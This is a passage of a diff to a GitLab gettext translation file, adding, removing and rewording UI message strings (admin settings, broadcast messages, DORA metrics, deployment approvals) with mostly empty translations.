-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -841,6 +841,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -913,6 +916,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1045,6 +1051,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1063,6 +1075,12 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1105,9 +1123,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1222,12 +1237,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1673,7 +1682,7 @@ msgstr[1] ""
msgstr[2] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -1903,6 +1912,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2047,9 +2059,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2098,9 +2107,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2260,7 +2266,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2338,6 +2344,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2716,15 +2725,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2806,9 +2818,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2836,6 +2857,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2890,6 +2917,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2959,6 +2989,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3133,9 +3169,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3427,7 +3463,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3472,6 +3508,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3730,6 +3769,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4372,9 +4414,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4543,15 +4582,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4585,9 +4615,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4840,6 +4867,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4984,9 +5023,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5077,6 +5113,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5221,6 +5260,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5776,6 +5818,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5791,12 +5836,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7372,9 +7423,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7972,6 +8107,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8083,13 +8221,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8374,6 +8509,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8533,12 +8671,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8722,6 +8854,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8848,6 +8983,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8950,12 +9088,18 @@ msgstr "Zatvoreni zadaci"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9622,21 +9766,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10126,6 +10255,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11020,6 +11152,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11413,6 +11548,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12310,6 +12448,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12334,6 +12475,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12346,7 +12490,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12367,6 +12514,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12388,6 +12541,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12406,6 +12565,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12427,6 +12595,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12436,6 +12610,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12451,9 +12628,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13372,11 +13546,11 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13444,6 +13618,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13828,9 +14005,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13846,6 +14029,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13930,6 +14119,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14200,7 +14395,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14425,6 +14620,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14920,6 +15118,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16117,10 +16318,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16129,9 +16327,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16630,9 +16825,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16666,9 +16858,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16990,9 +17179,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17419,9 +17605,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17740,16 +17923,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17848,6 +18028,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18508,9 +18691,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18925,6 +19105,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18937,6 +19120,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18961,6 +19150,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18979,6 +19171,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18991,9 +19186,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19318,6 +19519,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19480,7 +19687,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19963,9 +20170,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20020,6 +20233,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20029,6 +20245,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20038,6 +20260,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20155,6 +20380,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20470,6 +20698,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20884,9 +21118,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20908,6 +21139,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21130,12 +21364,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22195,7 +22441,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22258,9 +22504,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22411,6 +22666,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23614,6 +23872,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23662,6 +23923,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23806,9 +24070,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24124,9 +24385,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24289,9 +24547,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
